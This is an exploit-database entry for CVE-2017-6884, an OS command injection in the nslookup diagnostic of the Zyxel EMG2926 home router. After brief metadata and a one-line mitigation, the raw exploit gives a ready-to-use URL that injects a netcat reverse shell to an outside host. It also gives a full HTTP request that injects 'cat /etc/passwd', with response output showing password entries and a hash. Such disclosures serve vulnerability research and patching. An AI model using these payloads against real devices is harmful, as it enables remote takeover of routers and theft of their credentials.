Zyxel, EMG2926 < V1.00(AAQT.4)b8 - OS Command Injection

vendor:

EMG2926

by:

Fluffy Huffy (trevor Hough)

8,8

CVSS

HIGH

OS Command Injection

CWE

Product Name: EMG2926

Affected Version From: EMG2926 - V1.00(AAQT.4)b8

Affected Version To: EMG2926 - V1.00(AAQT.4)b8

Patch Exists: YES

Related CWE: CVE-2017-6884

CPE: h:zyxel:emg2926

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2017

Zyxel, EMG2926 < V1.00(AAQT.4)b8 - OS Command Injection

A malicious user may exploit numerous vectors to execute arbitrary commands on the router. An example of an exploit is a reverse shell, which can be used to gain access to the router, as well as a dump password file, which can be used to gain access to the router's credentials.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in system commands.

Source

Exploit-DB raw data:

# Exploit Title: Zyxel, EMG2926 < V1.00(AAQT.4)b8 - OS Command Injection
# Date: 2017-04-02
# Exploit Author: Fluffy Huffy (trevor Hough)
# Vendor Homepage: www.zyxel.com
# Version: EMG2926 - V1.00(AAQT.4)b8
# Tested on: linux
# CVE : CVE-2017-6884

OS command injection vulnerability was discovered in a commonly used
home router (zyxel - EMG2926 - V1.00(AAQT.4)b8). The vulnerability is located in the diagnostic tools
specify the nslookup function. A malicious user may exploit numerous
vectors to execute arbitrary commands on the router.

Exploit (Reverse Shell)
https://192.168.0.1/cgi-bin/luci/;stok=redacted/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&
ping_ip=google.ca%20%3B%20nc%20192.168.0.189%204040%20-e%20/p

Exploit (Dump Password File)
Request
GET /cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&ping_ip=google.ca%3b%20cat%20/etc/passwd&server_ip= HTTP/1.1
Host: 192.168.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.0.1/cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup
Accept-Language: en-US,en;q=0.8
Cookie: csd=9; sysauth=<Clipped>
Connection: close

Response (Clipped)
<textarea cols="80" rows="15" readonly="true">root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
supervisor:$1$RM8l7snU$KW2C58L2Ijt0th1ThR70q0:0:0:supervisor:/:/bin/ash
admin:$1$<Clipped>:0:0:admin:/:/bin/fail